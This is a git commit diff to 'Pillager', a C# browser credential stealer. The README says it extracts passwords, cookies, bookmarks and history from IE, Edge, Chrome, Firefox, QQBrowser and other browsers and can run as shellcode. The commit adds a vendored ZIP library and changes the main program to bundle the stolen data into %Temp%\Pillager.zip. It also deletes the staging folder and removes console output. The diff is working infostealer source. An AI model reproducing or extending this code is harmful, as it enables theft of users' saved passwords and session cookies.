update zip

This commit is contained in:
簞純 2023-09-28 08:07:33 +08:00
parent 069782acab
commit 33dc92dd7f
14 changed files with 1189 additions and 23 deletions

View File

@ -217,7 +217,6 @@ namespace Pillager.Browsers
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
if (Directory.Exists(Path.Combine(BrowserPath, "Local Storage"))) Methods.CopyDirectory(Path.Combine(BrowserPath, "Local Storage"), Path.Combine(savepath, "Local Storage"), true);
Console.WriteLine("Files wrote to " + savepath);
}
}
}

View File

@ -301,7 +301,6 @@ namespace Pillager.Browsers
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
Console.WriteLine("Files wrote to " + savepath);
}
}
}

View File

@ -244,7 +244,7 @@ namespace Pillager.Browsers
{
try
{
urls[i] = myreg.GetValue("url" + i.ToString()).ToString();
urls[i] = myreg.GetValue("url" + i.ToString())?.ToString();
}
catch { }
}
@ -289,7 +289,6 @@ namespace Pillager.Browsers
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
Console.WriteLine("Files wrote to " + savepath);
}
}
}

View File

@ -142,8 +142,6 @@ namespace Pillager.Browsers
if (!String.IsNullOrEmpty(cookies)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_cookies.txt"), cookies);
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
if (Directory.Exists(Path.Combine(BrowserPath, "Local Storage"))) Methods.CopyDirectory(Path.Combine(BrowserPath, "Local Storage"), Path.Combine(savepath, "Local Storage"), true);
Console.WriteLine("Files wrote to " + savepath);
}
}
}

View File

@ -27,7 +27,6 @@ namespace Pillager.Helper
Native.CloseHandle(hfile);
Native.NtResumeProcess(hProcess);
Native.CloseHandle(hProcess);
File.WriteAllBytes("Cookies", fileBuffer);
return fileBuffer;
}
catch { return null; }
@ -175,13 +174,6 @@ namespace Pillager.Helper
return result;
}
// Buffer contains:
// struct FILE_PROCESS_IDS_USING_FILE_INFORMATION
// {
// ULONG NumberOfProcessIdsInList;
// ULONG_PTR ProcessIdList[1];
// }
IntPtr readBuffer = bufferPtr;
int numEntries = Marshal.ReadInt32(readBuffer); // NumberOfProcessIdsInList
readBuffer = new IntPtr(readBuffer.ToInt32() + IntPtr.Size);
@ -207,7 +199,7 @@ namespace Pillager.Helper
private static IntPtr GetFileHandle(string name)
{
return Native.CreateFile(name,
0, // "FileAccess.Neither" Read nor Write
0,
FileShare.Read | FileShare.Write | FileShare.Delete,
IntPtr.Zero,
FileMode.Open,

View File

@ -58,6 +58,12 @@
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Helper\SQLiteHandler.cs" />
<Compile Include="ZIP\CompressionLevel.cs" />
<Compile Include="ZIP\ShellHelper.cs" />
<Compile Include="ZIP\ZipArchive.cs" />
<Compile Include="ZIP\ZipArchiveEntry.cs" />
<Compile Include="ZIP\ZipArchiveMode.cs" />
<Compile Include="ZIP\ZipFile.cs" />
</ItemGroup>
<ItemGroup>
<None Include="app.config" />

View File

@ -1,6 +1,7 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using Pillager.Browsers;
namespace Pillager
@ -10,10 +11,10 @@ namespace Pillager
static void Main(string[] args)
{
string savepath = Path.Combine(Path.GetTempPath(), "Pillager");
if (!Directory.Exists(savepath))
{
Directory.CreateDirectory(savepath);
}
string savezippath = savepath + ".zip";
if (Directory.Exists(savepath)) Directory.Delete(savepath, true);
if (File.Exists(savezippath)) File.Delete(savezippath);
Directory.CreateDirectory(savepath);
//IE
IE.Save(savepath);
@ -31,7 +32,7 @@ namespace Pillager
new List<string>() { "Chrome Beta", "Google\\Chrome Beta\\User Data\\Default" } ,
new List<string>() { "Chromium", "Chromium\\User Data\\Default" } ,
new List<string>() { "Edge", "Microsoft\\Edge\\User Data\\Default" } ,
new List<string>() { "Brave-Browse", "BraveSoftware\\Brave-Browser\\User Data\\Default" } ,
new List<string>() { "Brave-Browser", "BraveSoftware\\Brave-Browser\\User Data\\Default" } ,
new List<string>() { "QQBrowser", "Tencent\\QQBrowser\\User Data\\Default" } ,
new List<string>() { "SogouExplorer", "Sogou\\SogouExplorer\\User Data\\Default" } ,
new List<string>() { "Vivaldi", "Vivaldi\\User Data\\Default" } ,
@ -45,6 +46,10 @@ namespace Pillager
Chrome chrome = new Chrome(browser[0], chromepath);
chrome.Save(savepath);
}
//ZIP
ZipFile.CreateFromDirectory(savepath, savezippath);
Directory.Delete(savepath, true);
}
}
}

View File

@ -0,0 +1,32 @@
#region License
/*
Copyright (c) 2015, Paweł Hofman (CodeTitans)
All Rights Reserved.
Licensed under MIT License
For more information please visit:
https://github.com/phofman/zip/blob/master/LICENSE
or
http://opensource.org/licenses/MIT
For latest source code, documentation, samples
and more information please visit:
https://github.com/phofman/zip
*/
#endregion
namespace System.IO.Compression
{
/// <summary>
/// Specification of the completion level.
/// </summary>
public enum CompressionLevel
{
Fastest,
NoCompression,
Optimal
}
}

297
Pillager/ZIP/ShellHelper.cs Normal file
View File

@ -0,0 +1,297 @@
#region License
/*
Copyright (c) 2015, Paweł Hofman (CodeTitans)
All Rights Reserved.
Licensed under MIT License
For more information please visit:
https://github.com/phofman/zip/blob/master/LICENSE
or
http://opensource.org/licenses/MIT
For latest source code, documentation, samples
and more information please visit:
https://github.com/phofman/zip
*/
#endregion
using System.Reflection;
using System.Threading;
namespace System.IO.Compression
{
/// <summary>
/// Helper class for some Shell32 operations.
/// </summary>
static class ShellHelper
{
/// <summary>
/// Simple wrapper class for making reflection easier.
/// </summary>
public class ReflectionWrapper
{
private readonly object _o;
/// <summary>
/// Init constructor.
/// </summary>
protected ReflectionWrapper(object o)
{
if (o == null)
throw new ArgumentNullException("o");
_o = o;
}
/// <summary>
/// Gets the COM type of the wrapped object.
/// </summary>
protected Type WrappedType
{
get { return _o.GetType(); }
}
/// <summary>
/// Gets the wrapped object value.
/// </summary>
protected internal object WrappedObject
{
get { return _o; }
}
/// <summary>
/// Invokes the method with specified name.
/// </summary>
protected T InvokeMethod<T>(string name, params object[] args)
{
return (T) WrappedType.InvokeMember(name, BindingFlags.InvokeMethod, null, WrappedObject, args != null && args.Length == 0 ? null : args);
}
/// <summary>
/// Invokes the method with specified name.
/// </summary>
protected object InvokeMethod(string name, params object[] args)
{
return WrappedType.InvokeMember(name, BindingFlags.InvokeMethod, null, WrappedObject, args != null && args.Length == 0 ? null : args);
}
/// <summary>
/// Gets the value of specified property.
/// </summary>
protected T GetProperty<T>(string name)
{
return (T) WrappedType.InvokeMember(name, BindingFlags.GetProperty, null, WrappedObject, null);
}
/// <summary>
/// Sets the value of specified property.
/// </summary>
protected void SetProperty(string name, object value)
{
WrappedType.InvokeMember(name, BindingFlags.SetProperty, null, WrappedObject, new object[] { value });
}
}
/// <summary>
/// Wrapper class for the Shell Folder COM class.
/// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787868(v=vs.85).aspx
/// </summary>
public class Folder : ReflectionWrapper
{
public Folder(object o, string path)
: base(o)
{
Path = path;
}
#region Properties
/// <summary>
/// Full path represented by this folder (or ZIP archive).
/// </summary>
public string Path
{
get;
private set;
}
#endregion
/// <summary>
/// Returns a string that represents the current object.
/// </summary>
/// <returns>
/// A string that represents the current object.
/// </returns>
public override string ToString()
{
return Path;
}
public FolderItems Items()
{
return new FolderItems(InvokeMethod("Items"));
}
/// <summary>
/// Copies specified items (single file or collection) into current folder or ZIP archive.
/// </summary>
public void Copy(ReflectionWrapper items)
{
const int NoProgressDialog = 4;
const int RespondYesToAllDialogs = 16;
const int NoUiOnError = 1024;
// HINT: somehow flags about UI are ignored and if operation takes a bit more time (from several seconds up)
// shell will display the progress with option to cancel
// HINT: this call is asynchronous and starts another thread without any way to easily monitor progress
InvokeMethod("CopyHere", items.WrappedObject, NoProgressDialog | RespondYesToAllDialogs | NoUiOnError);
}
}
/// <summary>
/// Wrapper class for the Shell FolderItems COM class.
/// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787800(v=vs.85).aspx
/// </summary>
public class FolderItems : ReflectionWrapper
{
public FolderItems(object o)
: base(o)
{
}
/// <summary>
/// Gets the number of items.
/// </summary>
public int Count
{
get { return GetProperty<int>("Count"); }
}
/// <summary>
/// Gets item at specified index.
/// </summary>
public FolderItem this[int index]
{
get { return new FolderItem(InvokeMethod("Item", index)); }
}
}
/// <summary>
/// Wrapper class for the Shell FolderItem COM class.
/// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787810(v=vs.85).aspx
/// </summary>
public class FolderItem : ReflectionWrapper
{
public FolderItem(object o)
: base(o)
{
}
/// <summary>
/// Checks if given item is a folder.
/// </summary>
public bool IsFolder
{
get { return GetProperty<bool>("IsFolder"); }
}
/// <summary>
/// Gets or sets the name.
/// </summary>
public string Name
{
get { return GetProperty<string>("Name"); }
set { SetProperty("Name", value); }
}
/// <summary>
/// Gets the size.
/// </summary>
public long Size
{
get { return GetProperty<int>("Size"); }
}
/// <summary>
/// Gets the full path of an item. If it's inside the ZIP archive, it will be prefixed with the path to that ZIP.
/// </summary>
public string Path
{
get { return GetProperty<string>("Path"); }
}
/// <summary>
/// Gets the folder representation of an item (if it's actually a folder) or null.
/// </summary>
public Folder AsFolder
{
get
{
if (IsFolder)
{
return new Folder(GetProperty<object>("GetFolder"), Path);
}
return null;
}
}
/// <summary>
/// Returns a string that represents the current object.
/// </summary>
/// <returns>
/// A string that represents the current object.
/// </returns>
public override string ToString()
{
return Path;
}
}
/// <summary>
/// Gets the folder wrapper representation for specified path.
/// </summary>
public static Folder GetShell32Folder(string path)
{
if (string.IsNullOrEmpty(path))
throw new ArgumentNullException("path");
if (!Directory.Exists(path) && !File.Exists(path))
throw new ArgumentOutOfRangeException("path", "Requested path doesn't exist");
var shellAppType = Type.GetTypeFromProgID("Shell.Application");
var shell = Activator.CreateInstance(shellAppType);
return new Folder(shellAppType.InvokeMember("NameSpace", BindingFlags.InvokeMethod, null, shell, new object[] { path }), path);
}
/// <summary>
/// Waits until specified file is not in use.
/// </summary>
public static void WaitForCompletion(string fileName)
{
Thread.Sleep(300);
while (File.Exists(fileName) && IsInUse(fileName))
{
Thread.Sleep(100);
}
}
private static bool IsInUse(string filePath)
{
try
{
var file = File.OpenRead(filePath);
file.Close();
return false;
}
catch
{
return true;
}
}
}
}

476
Pillager/ZIP/ZipArchive.cs Normal file
View File

@ -0,0 +1,476 @@
#region License
/*
Copyright (c) 2015, Paweł Hofman (CodeTitans)
All Rights Reserved.
Licensed under MIT License
For more information please visit:
https://github.com/phofman/zip/blob/master/LICENSE
or
http://opensource.org/licenses/MIT
For latest source code, documentation, samples
and more information please visit:
https://github.com/phofman/zip
*/
#endregion
using System.Collections.Generic;
using System.Collections.ObjectModel;
namespace System.IO.Compression
{
/// <summary>
/// Class representing ZIP archive.
/// https://msdn.microsoft.com/en-us/library/system.io.compression.ziparchive(v=vs.110).aspx
/// </summary>
public sealed class ZipArchive : IDisposable
{
private readonly string _zipFileName;
private readonly string _tempFolder;
private readonly ZipArchiveMode _mode;
private readonly IList<ZipArchiveEntry> _existing;
private readonly List<ZipArchiveEntry> _toAdd;
/// <summary>
/// Opens specified archive for reading.
/// </summary>
public ZipArchive(FileStream zipStream)
: this(zipStream, ZipArchiveMode.Read)
{
}
/// <summary>
/// Opens specified archive in given mode.
/// </summary>
public ZipArchive(FileStream zipFileStream, ZipArchiveMode mode)
{
if (zipFileStream == null)
throw new ArgumentNullException("zipFileStream");
_mode = mode;
_zipFileName = zipFileStream.Name;
_tempFolder = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
// HINT: immediatelly close the file, as we will use Shell API to manipulate the file
// and we need to let it modify its content (that's why other constructors are not
// supported, that let to leave this stream open)
zipFileStream.Close();
CreateFolders();
// initialize empty ZIP file if needed:
var fileInfo = new FileInfo(_zipFileName);
if (mode == ZipArchiveMode.Create || (mode == ZipArchiveMode.Update && fileInfo.Length == 0) || (mode == ZipArchiveMode.Read && fileInfo.Length == 0))
{
CreateEmptyZipFile();
_existing = new List<ZipArchiveEntry>();
}
else
{
_existing = ScanForEntries(_zipFileName);
}
Entries = new ReadOnlyCollection<ZipArchiveEntry>(_existing);
_toAdd = new List<ZipArchiveEntry>();
}
~ZipArchive()
{
Dispose(false);
}
#region IDisposable Implementation
private void Dispose(bool disposing)
{
try
{
if (disposing)
{
switch (_mode)
{
case ZipArchiveMode.Create: // fall-though
case ZipArchiveMode.Update:
ZipContent();
break;
case ZipArchiveMode.Read:
// do nothing...
break;
default:
throw new IOException("Unsupported mode to update the archive on disposing");
}
}
}
catch
{
// don't throw an exception, when called from finalizer's thread
if (disposing)
throw;
}
finally
{
DeleteTemp();
}
}
/// <summary>
/// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
#endregion
#region Properties
/// <summary>
/// Gets a value that describes the type of action the archive can perform on entries.
/// </summary>
public ZipArchiveMode Mode
{
get { return _mode; }
}
/// <summary>
/// Gets the collection of entries that are currently in the archive.
/// </summary>
public ReadOnlyCollection<ZipArchiveEntry> Entries
{
get;
private set;
}
#endregion
#region Helper Methods
/// <summary>
/// Makes sure all parent folders exist for specified path to file or directory.
/// </summary>
private static string CreateParentFolder(string path)
{
if (string.IsNullOrEmpty(path))
throw new ArgumentNullException("path");
path = Path.GetDirectoryName(path);
if (!string.IsNullOrEmpty(path) && !Directory.Exists(path))
{
Directory.CreateDirectory(path);
}
return path;
}
private void CreateFolders()
{
CreateParentFolder(_zipFileName);
try
{
Directory.CreateDirectory(_tempFolder);
}
catch
{
}
}
private void DeleteTemp()
{
try
{
Directory.Delete(_tempFolder, true);
}
catch
{
}
}
private void CreateEmptyZipFile()
{
byte[] headerBits = new byte[] { 80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
File.WriteAllBytes(_zipFileName, headerBits);
}
private void ZipContent()
{
var destFile = ShellHelper.GetShell32Folder(_zipFileName);
var srcFolder = ShellHelper.GetShell32Folder(_tempFolder);
var items = srcFolder.Items();
// copy folder into a ZIP file using Windows Shell API
destFile.Copy(items);
ShellHelper.WaitForCompletion(destFile.Path);
}
private void UnzipContent(string targetFolder)
{
if (!Directory.Exists(targetFolder))
Directory.CreateDirectory(targetFolder);
var srcFile = ShellHelper.GetShell32Folder(_zipFileName);
var destFolder = ShellHelper.GetShell32Folder(targetFolder);
destFolder.Copy(srcFile.Items());
ShellHelper.WaitForCompletion(srcFile.Path);
}
private void CopyAddedFiles(string targetFolder)
{
foreach (var item in _toAdd)
{
var targetFile = Path.Combine(targetFolder, item.FullName);
if (!string.IsNullOrEmpty(item.TempLocalPath))
{
CreateParentFolder(targetFile);
File.Copy(item.TempLocalPath, targetFile, true);
}
}
}
private static string NormalizeEntryName(string entryName)
{
if (string.IsNullOrEmpty(entryName))
throw new ArgumentNullException("entryName");
// remove leading directory separators:
int i = 0;
while (i < entryName.Length && (entryName[i] == Path.AltDirectorySeparatorChar || entryName[i] == Path.DirectorySeparatorChar))
i++;
if (i > 0)
{
entryName = entryName.Substring(i);
}
// and make sure the same separator is used across the whole entry name's path:
return entryName.Replace(Path.AltDirectorySeparatorChar, Path.DirectorySeparatorChar);
}
private static int Find(IEnumerable<ZipArchiveEntry> list, ZipArchiveEntry item)
{
int i = 0;
foreach (var x in list)
{
if (x.Match(item))
return i;
i++;
}
return -1;
}
private ZipArchiveEntry Add(ZipArchiveEntry item)
{
var existingIndex = Find(_toAdd, item);
if (existingIndex >= 0)
{
_toAdd.RemoveAt(existingIndex);
}
_toAdd.Add(item);
existingIndex = Find(_existing, item);
if (existingIndex > 0)
{
_existing.RemoveAt(existingIndex);
}
_existing.Add(item);
return item;
}
private IList<ZipArchiveEntry> ScanForEntries(string zipFileName)
{
var result = new List<ZipArchiveEntry>();
if (File.Exists(zipFileName))
{
var srcFolder = ShellHelper.GetShell32Folder(zipFileName);
ScanAdd(result, zipFileName, srcFolder.Items());
}
return result;
}
private void ScanAdd(List<ZipArchiveEntry> result, string initialPath, ShellHelper.FolderItems items)
{
if (items != null)
{
int count = items.Count;
for (int i = 0; i < count; i++)
{
var item = items[i];
var folder = item.AsFolder;
if (folder != null)
{
ScanAdd(result, initialPath, folder.Items());
}
else
{
var path = item.Path;
if (path != null && path.StartsWith(initialPath, StringComparison.Ordinal))
path = path.Substring(initialPath.Length + 1);
result.Add(new ZipArchiveEntry(this, item, null, path, item.Size));
}
}
}
}
#endregion
/// <summary>
/// Archives a file by compressing it and adding it to the ZIP.
/// </summary>
public ZipArchiveEntry CreateEntryFromFile(string sourceFileName, string entryName, CompressionLevel compressionLevel)
{
if (string.IsNullOrEmpty(sourceFileName))
throw new ArgumentNullException("sourceFileName");
if (_mode == ZipArchiveMode.Read)
throw new NotSupportedException("Current mode doesn't support items creation");
if (string.IsNullOrEmpty(entryName))
throw new ArgumentNullException("entryName");
entryName = NormalizeEntryName(entryName);
// copy file into temp folder and register for future compression:
var path = Path.GetFullPath(sourceFileName);
var destPath = Path.Combine(_tempFolder, entryName);
CreateParentFolder(destPath);
File.Copy(path, destPath, true);
return Add(new ZipArchiveEntry(this, null, destPath, entryName, new FileInfo(destPath).Length));
}
/// <summary>
/// Archives a file by compressing it and adding it to the ZIP.
/// </summary>
public ZipArchiveEntry CreateEntryFromFile(string sourceFileName, string entryName)
{
return CreateEntryFromFile(sourceFileName, entryName, CompressionLevel.Optimal);
}
/// <summary>
/// Extracts all the files in the ZIP archive to specified directory.
/// </summary>
public void ExtractToDirectory(string destinationDirectoryName)
{
if (string.IsNullOrEmpty(destinationDirectoryName))
throw new ArgumentNullException("destinationDirectoryName");
var targetFolder = Path.GetFullPath(destinationDirectoryName);
UnzipContent(targetFolder);
CopyAddedFiles(targetFolder);
}
/// <summary>
/// Creates an empty entry that has the specified path and entry name in the archive.
/// </summary>
public ZipArchiveEntry CreateEntry(string entryName)
{
return CreateEntry(entryName, CompressionLevel.Optimal);
}
/// <summary>
/// Creates an empty entry that has the specified path and entry name in the archive.
/// </summary>
public ZipArchiveEntry CreateEntry(string entryName, CompressionLevel compressionLevel)
{
if (_mode == ZipArchiveMode.Read)
throw new NotSupportedException("Current mode doesn't support items creation");
if (string.IsNullOrEmpty(entryName))
throw new ArgumentNullException("entryName");
entryName = NormalizeEntryName(entryName);
// create an empty file
var destPath = Path.Combine(_tempFolder, entryName);
CreateParentFolder(destPath);
File.WriteAllBytes(destPath, new byte[0]);
return Add(new ZipArchiveEntry(this, null, destPath, entryName, 0));
}
internal void Delete(ZipArchiveEntry item)
{
if (item != null)
{
if (!string.IsNullOrEmpty(item.TempLocalPath))
File.Delete(item.TempLocalPath);
// if this is the last file withing directory, remove the directory to avoid runtime UI with errors:
var parentFolder = Path.GetDirectoryName(item.TempLocalPath);
if (!string.IsNullOrEmpty(parentFolder))
{
var files = Directory.GetFiles(parentFolder, "*", SearchOption.AllDirectories);
if (files == null || files.Length == 0)
{
Directory.Delete(parentFolder, true);
}
}
bool removedFromAdd = _toAdd.Remove(item);
bool removedFromExisting = _existing.Remove(item);
if (removedFromAdd || removedFromExisting)
return;
// it's not supported to delete files from existing ZIP:
throw new IOException("Unable to delete file from ZIP archive");
}
}
internal void ExtractToFile(ZipArchiveEntry item, string destinationFileName, bool overwrite)
{
if (item != null && !string.IsNullOrEmpty(destinationFileName))
{
var destPath = Path.GetFullPath(destinationFileName);
var destFolder = CreateParentFolder(destPath);
// is it an item from the local temp folder (item to add)?
if (!string.IsNullOrEmpty(item.TempLocalPath))
{
File.Copy(item.TempLocalPath, destPath, overwrite);
}
else
{
// is it an item from the existing ZIP?
if (item.Item == null)
throw new IOException("Invalid entry to extract");
var destination = ShellHelper.GetShell32Folder(destFolder);
var itemFolder = item.Item.AsFolder;
if (itemFolder != null)
{
// TODO: this should potentially work, however waiting for completion method is required and ZipAchiveEntry refer to a file rather than to folder...
//destination.Copy(itemFolder.Items(), false, null);
throw new IOException("Extraction of folder is not supported via ZipArchiveEntry item");
}
// TODO: this could potentially overwrite existing file
destination.Copy(item.Item);
var path = Path.Combine(destFolder, item.Name);
ShellHelper.WaitForCompletion(path);
// update the name to required one:
if (path != destinationFileName)
{
if (File.Exists(destinationFileName))
File.Delete(destinationFileName);
File.Move(path, destinationFileName);
}
}
}
}
}
}

View File

@ -0,0 +1,166 @@
#region License
/*
Copyright (c) 2015, Paweł Hofman (CodeTitans)
All Rights Reserved.
Licensed under MIT License
For more information please visit:
https://github.com/phofman/zip/blob/master/LICENSE
or
http://opensource.org/licenses/MIT
For latest source code, documentation, samples
and more information please visit:
https://github.com/phofman/zip
*/
#endregion
namespace System.IO.Compression
{
/// <summary>
/// Representation of a single item inside a ZIP archive.
/// https://msdn.microsoft.com/en-us/library/system.io.compression.ziparchiveentry(v=vs.110).aspx
/// </summary>
public sealed class ZipArchiveEntry
{
internal ZipArchiveEntry(ZipArchive archive, ShellHelper.FolderItem item, string tempLocalPath, string entryName, long length)
{
if (archive == null)
throw new ArgumentNullException("archive");
if (string.IsNullOrEmpty(entryName))
throw new ArgumentNullException("entryName");
Archive = archive;
Item = item;
TempLocalPath = tempLocalPath;
FullName = entryName;
Name = Path.GetFileName(entryName);
Length = length;
}
#region Properties
public ZipArchive Archive
{
get;
private set;
}
public long CompressedLength
{
get { return Length; }
}
/// <summary>
/// Gets the relative path of the entry in ZIP archive.
/// </summary>
public string FullName
{
get;
private set;
}
public DateTime LastWriteTime
{
get;
private set;
}
public long Length
{
get;
private set;
}
public string Name
{
get;
private set;
}
internal ShellHelper.FolderItem Item
{
get;
private set;
}
internal string TempLocalPath
{
get;
private set;
}
#endregion
/// <summary>
/// Returns a string that represents the current object.
/// </summary>
/// <returns>
/// A string that represents the current object.
/// </returns>
public override string ToString()
{
return FullName;
}
internal bool Match(ZipArchiveEntry item)
{
if (item == null)
return false;
return string.CompareOrdinal(item.FullName, FullName) == 0;
}
/// <summary>
/// Opens the entry from the zip archive.
/// </summary>
public Stream Open()
{
switch (Archive.Mode)
{
case ZipArchiveMode.Read:
if (string.IsNullOrEmpty(TempLocalPath))
throw new IOException(string.Concat("Unable to find requested file matching the (\"", FullName, "\")"));
return new FileStream(TempLocalPath, FileMode.Open, FileAccess.Read);
case ZipArchiveMode.Create: // fall-through
case ZipArchiveMode.Update:
return new FileStream(TempLocalPath, FileMode.OpenOrCreate, FileAccess.ReadWrite);
default:
throw new IOException("This mode is not supported");
}
}
/// <summary>
/// Deletes the entry from the zip archive.
/// </summary>
public void Delete()
{
Archive.Delete(this);
TempLocalPath = null;
}
/// <summary>
/// Extracts an entry in the zip archive to a file.
/// </summary>
public void ExtractToFile(string destinationFileName)
{
if (string.IsNullOrEmpty(destinationFileName))
throw new ArgumentNullException("destinationFileName");
Archive.ExtractToFile(this, destinationFileName, false);
}
/// <summary>
/// Extracts an entry in the zip archive to a file.
/// </summary>
public void ExtractToFile(string destinationFileName, bool overwrite)
{
if (string.IsNullOrEmpty(destinationFileName))
throw new ArgumentNullException("destinationFileName");
Archive.ExtractToFile(this, destinationFileName, overwrite);
}
}
}

View File

@ -0,0 +1,32 @@
#region License
/*
Copyright (c) 2015, Paweł Hofman (CodeTitans)
All Rights Reserved.
Licensed under MIT License
For more information please visit:
https://github.com/phofman/zip/blob/master/LICENSE
or
http://opensource.org/licenses/MIT
For latest source code, documentation, samples
and more information please visit:
https://github.com/phofman/zip
*/
#endregion
namespace System.IO.Compression
{
/// <summary>
/// Specifies values for interacting with zip archive entries.
/// </summary>
public enum ZipArchiveMode
{
Read,
Create,
Update,
}
}

156
Pillager/ZIP/ZipFile.cs Normal file
View File

@ -0,0 +1,156 @@
#region License
/*
Copyright (c) 2015, Paweł Hofman (CodeTitans)
All Rights Reserved.
Licensed under MIT License
For more information please visit:
https://github.com/phofman/zip/blob/master/LICENSE
or
http://opensource.org/licenses/MIT
For latest source code, documentation, samples
and more information please visit:
https://github.com/phofman/zip
*/
#endregion
using System.Text;
namespace System.IO.Compression
{
/// <summary>
/// Helper class to simplify operations over ZIP archive.
/// </summary>
public static class ZipFile
{
/// <summary>
/// Creates a zip archive that contains the files and directories from the specified directory.
/// </summary>
public static void CreateFromDirectory(string sourceDirectoryName, string destinationArchiveFileName)
{
CreateFromDirectory(sourceDirectoryName, destinationArchiveFileName, CompressionLevel.Optimal, false, null);
}
/// <summary>
/// Creates a zip archive that contains the files and directories from the specified directory.
/// </summary>
public static void CreateFromDirectory(string sourceDirectoryName, string destinationArchiveFileName, CompressionLevel compressionLevel, bool includeBaseDirectory)
{
CreateFromDirectory(sourceDirectoryName, destinationArchiveFileName, compressionLevel, includeBaseDirectory, null);
}
/// <summary>
/// Creates a zip archive that contains the files and directories from the specified directory.
/// </summary>
public static void CreateFromDirectory(string sourceDirectoryName, string destinationArchiveFileName, CompressionLevel compressionLevel, bool includeBaseDirectory, Encoding entryNameEncoding)
{
if (string.IsNullOrEmpty(sourceDirectoryName))
throw new ArgumentNullException("sourceDirectoryName");
if (string.IsNullOrEmpty(destinationArchiveFileName))
throw new ArgumentNullException("destinationArchiveFileName");
var filesToAdd = Directory.GetFiles(sourceDirectoryName, "*", SearchOption.AllDirectories);
var entryNames = GetEntryNames(filesToAdd, sourceDirectoryName, includeBaseDirectory);
using(var zipFileStream = new FileStream(destinationArchiveFileName, FileMode.Create))
{
using (var archive = new ZipArchive(zipFileStream, ZipArchiveMode.Create))
{
for (int i = 0; i < filesToAdd.Length; i++)
{
archive.CreateEntryFromFile(filesToAdd[i], entryNames[i], compressionLevel);
}
}
}
}
private static string[] GetEntryNames(string[] names, string sourceFolder, bool includeBaseName)
{
if (names == null || names.Length == 0)
return new string[0];
if (includeBaseName)
sourceFolder = Path.GetDirectoryName(sourceFolder);
int length = string.IsNullOrEmpty(sourceFolder) ? 0 : sourceFolder.Length;
if (length > 0 && sourceFolder != null && sourceFolder[length - 1] != Path.DirectorySeparatorChar && sourceFolder[length - 1] != Path.AltDirectorySeparatorChar)
length++;
var result = new string[names.Length];
for (int i = 0; i < names.Length; i++)
{
result[i] = names[i].Substring(length);
}
return result;
}
/// <summary>
/// Extracts all the files in the specified zip archive to a directory on the file system.
/// </summary>
public static void ExtractToDirectory(string sourceArchiveFileName, string destinationDirectoryName)
{
ExtractToDirectory(sourceArchiveFileName, destinationDirectoryName, null);
}
/// <summary>
/// Extracts all the files in the specified zip archive to a directory on the file system.
/// </summary>
public static void ExtractToDirectory(string sourceArchiveFileName, string destinationDirectoryName, Encoding entryNameEncoding)
{
if (string.IsNullOrEmpty(sourceArchiveFileName))
throw new ArgumentNullException("sourceArchiveFileName");
if (string.IsNullOrEmpty(destinationDirectoryName))
throw new ArgumentNullException("destinationDirectoryName");
using (var zipFileStream = new FileStream(sourceArchiveFileName, FileMode.Open))
{
using (var archive = new ZipArchive(zipFileStream, ZipArchiveMode.Read))
{
archive.ExtractToDirectory(destinationDirectoryName);
}
}
}
/// <summary>
/// Opens a zip archive at the specified path and in the specified mode.
/// </summary>
public static ZipArchive Open(string archiveFileName, ZipArchiveMode mode)
{
return Open(archiveFileName, mode, null);
}
/// <summary>
/// Opens a zip archive at the specified path and in the specified mode.
/// </summary>
public static ZipArchive Open(string archiveFileName, ZipArchiveMode mode, Encoding entryNameEncoding)
{
if (string.IsNullOrEmpty(archiveFileName))
throw new ArgumentNullException("archiveFileName");
switch (mode)
{
case ZipArchiveMode.Create:
return new ZipArchive(new FileStream(archiveFileName, FileMode.Create), ZipArchiveMode.Create);
case ZipArchiveMode.Update:
return new ZipArchive(new FileStream(archiveFileName, FileMode.OpenOrCreate), ZipArchiveMode.Update);
case ZipArchiveMode.Read:
return new ZipArchive(new FileStream(archiveFileName, FileMode.Open), ZipArchiveMode.Read);
default:
throw new IOException("Unsupported archive mode");
}
}
/// <summary>
/// Opens a zip archive for reading at the specified path.
/// </summary>
public static ZipArchive OpenRead(string archiveFileName)
{
return Open(archiveFileName, ZipArchiveMode.Read, null);
}
}
}

View File

@ -10,14 +10,23 @@
目前支持:
* IE/旧版Edge的密码书签历史记录提取
* Chromium系浏览器的密码书签历史记录cookies提取
* IE
* Edge
* Chrome
* Chrome Beta
* Chromium
* Brave-Browser
* QQBrowser
* SogouExplorer
* Vivaldi
* CocCoc
* FireFox
后续将会陆续添加支持的浏览器
## 优点
体积小长期维护shellcode兼容.Net Framework 2.x/3.x/4.x , shellcode兼容x86/x64
体积小长期维护shellcode兼容.Net Framework 2.x/3.x/4.x , shellcode兼容x86/x64,执行后文件输出至`%Temp%\Pillager.zip`
## 编译